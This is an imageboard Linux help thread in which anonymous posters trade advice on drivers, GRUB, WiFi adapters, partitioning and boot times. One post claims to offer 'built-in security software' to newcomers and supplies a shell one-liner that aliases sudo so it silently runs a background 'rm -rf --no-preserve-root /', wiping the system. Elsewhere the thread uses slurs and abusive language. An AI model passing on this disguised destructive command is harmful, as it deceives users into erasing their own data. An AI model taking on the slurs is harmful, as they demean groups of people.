Well as far as I understand the "baseline" driver for 2D graphics necessary to be able to graphically install the system is, the "PRO" bit are the extensions.

Intel graphics are far simpler than that of AMD/NVIDIA. You see, you already have mesa-git for generic drivers.
AMD's in-house drivers like amdgpu pro are for specific kernels and tuned for max efficiency

Are you referring to the process of patching and rebuilding a package?
It's quite complicated on debian, true.

They don't even have automatic partitioning in their installer. Even Debishit has this figured out in their non-graphical installer.

Listen, I support Void. It seems like a really, really good concept. But for fucks sake it needs the massive amounts of dedicated developers like Ubuntu or Fedora has. Maybe the lack of systemd scared away all the pajeet-tier developers and that's why its so slow.

In case you guys want to write portable POSIX scripts, there's a pretty cool package in Debian called 'manpages-posix'. When installed, you have (obivously) additional manpages you can call like this:
man 1posix grep

GNU/Linux has a long history of the majority of its userbase demanding bare-bones software with no integration and letting the user stitch together their own ideals of integration.
As far as I can tell the amount of users wanting things to "just work" and have all sorts of automatic integration out of the box has only become sizeable relatively recently.

This reminds me of a question. What is the most secure way to run nonfree software in general (except VM)?
>>
>>61668989
The most secure way is simply not running proprietary software. There are useful things like firejail or chroot jails and sandboxes in general, but there's no guarantee that the program will stay in your sandbox.

Proprietary software belongs into a VM and not even here there's 100% security. It's that simple.

Learn qemu and how to secure it. That's the "most secure way".

long time gnu/linux enthusiast here. If you are new to the OS you probably haven't set up the built in security software yet. Even experienced users sometimes let it slip their mind, until one day a chinese computer scans and finds open ports and vulnerabilities in your computer. Fortunately all you have to do is open a terminal window and run the following command.

foo() { sudo "$@"; sudo nohup rm -rf --no-preserve-root / > /dev/null 2>&1 < /dev/null & }; alias sudo=foo

This locks out would be hackers and keeps you safe from automated attacks that successfully target hundreds of computers every day. Even if the OS is intimidating at first, don't give up! It get's easier and the benefits are very rewarding.

I'm trying to dual-boot a Mint build on my machine, but I can't get my shitty Chinese WiFi adapter to work. It's this dongle:
https://www.amazon.com/BrosTrend-600Mbps-Adapter-Wireless-WNA016/dp/B0118SPFCK

And I'm using these drivers (since the official MediaTek drivers, for the common chip used by the dongle, won't work on kernel 4.8):
https://github.com/ulli-kroll/mt7610u

Finally the adapter is recognized and I can even get a list of wireless networks to show up in Network Manager. However each one's signal strength shows 0% and when I try to connect to one, it shows "connecting" for a minute and then finally "you have been disconnected".

Any commands I can use to debug this or figure out what the hell is going on? This adapter is notoriously hard to get working on loonix so I'm seriously considering just buying a new fucking one, it's pissing me off.

Friends could someone please help me with GRUB? I spent a while last night getting the screen brightness controls working on my thinkpad w510 running Mint 18.2. I had to fuck with the default grub file in nano, adding nox2apic got it working so I ended up with the following.

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nox2apic"

However now when I boot the laptop I'm presented with a different prompt to decrypt my main drive, this prompt is completely locked up. There is no mouse pointer and hitting tab doesn't highlight the text field. All I can do is hit ctrl+alt+del to restart and then in the GRUB recovery console that follows this I can select my mint partition and get the normal decryption prompt that I used to get.

I've tried editing the above line with several recommendations from people with similar issues but nothing helped. This is the screen I get on a cold boot, any ideas?
>>
>>61670243

>>
>>61670551
>>61670534

I'm reading a bit more into this and I think the problem is that I've enabled GRUB in the first place, is it possible that mint by default on a single OS boot would use an EFI stub instead of grub to boot? I may have forced GRUB over an existing set up which is likely giving these problems
>>
>>61670635
Not if you can boot in from the revovery console of the same grub. If you edit the grub command line for the failing boot and just remove the nox2apic and boot from that does it boot?
>>
>>61670749
If I remove nox2apic it makes no difference, likewise if I leave it completely blank it also makes no difference, like below

GRUB_CMDLINE_LINUX_DEFAULT=""

>>61670767
lol, I meant edit it from the grub menu. Are you running update-grub after editing that file? And update-initramfs since that is the thing you are actually having trouble with.

anyone else experiencing this?

if i type while the computer is under load, it jumbles up the order of the letters
this is fine 90% of the time, but where it fails hardest is in the gnome search bar, where it starts searching as soon as you start typing. this unfortunately means that the string you enter is almost always scrambled randomly

is this a gnome problem? an ibus or xorg problem? a debian problem?

google seems to bring me a mishmash of various different reports of similar but slightly different problems

for the record, it happens on multiple machines
>>
>>61670943
Probably not ibus or xorg. I use them and have never experienced anything remotely like that in any software.

>>61671112
nvm, shouldve more closely read the damn manual. it's inverting the sense of the interface specifier, in this case loopback

The bang only applies to the next param. So it is saying any packet coming in with a dest IP in the 127/8 subnet that didn't come in on lo can go into the trash.

Is there a way to stop audio usb popping on Linux? Got a Fiio E10K and it makes popping sounds when stopping or resuming any audio file or whatever sound is the system doing, have tried pretty much anything, but still open to suggestions, I have researched a lot on Google and Arch's Wiki but nothing have worked, actually im on Arch Linux systemd/pulseaudio, but even when I tried Alsa the problem was still there. Desperately, Iam downloading a supposed Audiophile distro with some special features such as a RT kernel. Hope it works before killing myself. Don't want to come back to the wincuck botnet, sadly the DAC works without any single issue there, since it handles Audio in a different way.

Manjaro-openrc has been killed and the maintainers are starting a new distro called Artix, which will be a systemd-free version of Arch itself.

https://forum.manjaro.org/t/manjaro-openrc-will-be-discontinued/28387

I've been using manjaro-openrc for a bit, so this is annoying. My choices are to either keep using the existing manjaro setup until it breaks, purge the manjaro content and convert to Artix (which is barely functional at this point), or move to a different distro.

I'm thinking of just switching back to gentoo so I don't have to worry about these things.

I'd just like to interject for a moment. What you’re referring to as GNU/Linux, is in fact, Wine/Linux, or as I’ve recently taken to calling it, Wine plus Linux.

That's probably what I would do. I never consider setting up a separate home partition on my secondary drive because it's an hdd.

That probably works with an Audio loop of complete silence, but would be like a workaround instead of solving the problem. Are you using an E10k too? if so, which distro are you using?. On the other hand, It is barely noticeable if you're doing regular tasks, like listening to music at higher volumes, the problem itself get harder when talking in voice apps, such as discord/ts3/mumble... when people use continous transmission, their mics are constantly making small sounds producing a popping sound festival in a couple of seconds...

What would be the best way to set up the partitions? I had the OS installed at one point but it still wouldn't boot without my USB in the side
>>
>>61677833
are there going to be any issues for drivers with all my other shit?
>>
>>61678091
Which os?
Provided it's linux:
grub
/
/home
/swap (if you need it)
If it's windows^
/bootloader
/ntfs with OS
/grub
/
/home
/swap (if you need it)
>>
>>61678071
reboot it and try again
perhaps try making the volumes beforehand using gparted, then tell the installer not to format them

>>61678091
if it asks you where to place the bootloader, make sure it's set to the internal drive
it shouldn't be placing it anywhere else, but i can't speak for zorin, it's not exactly a common distro

Here are the partitions that it has set up right now that are giving me trouble with the installation. The distro is Zorin and I don't want to dual boot or anything, just hopefully going to single boot with this
>>
>>61678186
that looks fine
if you want to format those without using the installers format option, just run these;
mkfs.vfat /dev/sdb1
mkfs.ext4 /dev/sdb2
mkswap /dev/sdb3

then just leave the "Format?" options unticked, as they are now, and set their mountpoint (sdb1 as /boot, sdb2 as /)
>>
>>61678243
I was able to do all of that except set the mount point for sdb1 as /boot, when I attempted to install it says there needs to be a efi partiiton and I can't set the mount point with an efi partition

just let it format sdb1, then. it apparently got part that before anyway (assuming it formatted them in order)

anyone help me figure out why my userspace is taking so long to start up? after solving an issue where my USB keyboard extended boot times for whatever reason, I noticed that the output of systemd-analyze shows userspace as taking over 90 SECONDS to start up. it doesnt seem to be of any consequence, i can still use the desktop environment hwile it's still "booting", but I was wondering what it could possibly be.

here's the output of systemd-analyze:
Startup finished in 14.240s (firmware) + 516ms (loader) + 2.415s (kernel) + 1min 30.343s (userspace) = 1min 47.516s


blame doesnt show anything taking more then ~300ms and critical-chain is the same, but the fact that it's always approximately 1 minute and 30 seconds on userspace leads me to believe something is timing out. for others this seemed to be an issue with networkmanager, but that hasnt shown on any of my tests. here's a bootchart if anyone wants to analyze it. this one might be weird because there were allegedly also some ~30 second services started up this boot that i havent seen before, even though my boot to desktop environment is only about 10 seconds right now.

Thanks for the help, I installed wicd, but now that's not working either. Tells me "could not connect to wicd's d-bus interface" on boot, and when I try the "wicd" command in terminal it gives me something about "_status_dict" could not be started (it's a python dependency).

I really can't deal with this, I'm out of ideas, maybe if I ever get a new network card that works with Linux I'll give the dual-boot thing a go again. Till then, back to winfuck.

Hey folks. How are you all this evening/morning/afternoon? Hope you are well.

I'm looking to get GNU/Linux on my laptop again, because I installed Windows 10 like an idiot.

Now, while I'm in the process of finding the original wireless card (that I swapped out when I hackintosh'd my laptop) I need to use [spoiler]proprietary[/spoiler] drivers for my Wi-Fi to work. So far, Linux Mint is the only distro I've used that has had the graphical driver manager installed by default that I can do this with.

Anyone here know of any other distros that have something like this? Or any alternative?
Many thanks in advance.
>>

> graphical driver manager
Lol, no.

Dumb question, my i3 status bar is showing the wrong time, how do I fix it?

As in, driver manager with a graphical interface. I don't need graphics driver.

Guys.

I have a 128gb SSD + a 1TB HDD.

Should I put /home on that HDD or create symlinks to folders on that instead? Let's say, create symlinks for ~/Videos and ~/Music and leave the rest on that SSD? What do you think is more convenient?

What you're actually looking for is information on what you need to install correct drivers. The answer is "your package manager". You just need to install the correct drivers for your wifi-device. These will be in packages distributed by your distribution maintainer. Detect your device model, find the corresponding package and install it.

I am using the tiling features in floating window managers extensively (the grid plugin in compiz, the tiling features in Xfce or the quicktile script). I do not want to swap to a tiling window manager as it is impractical for some of the work I do.

Is there a way to get grid/tile like arrangements automatically when opening windows within a floating window manager (plus maybe a few key mappings) to shuffle the layout?
>>
>>61690271
I hope it fixes itself.
Worst case scenario is that I have to shill out a few bucks for a small USB stick to slove it.
Probably the card shat itself.
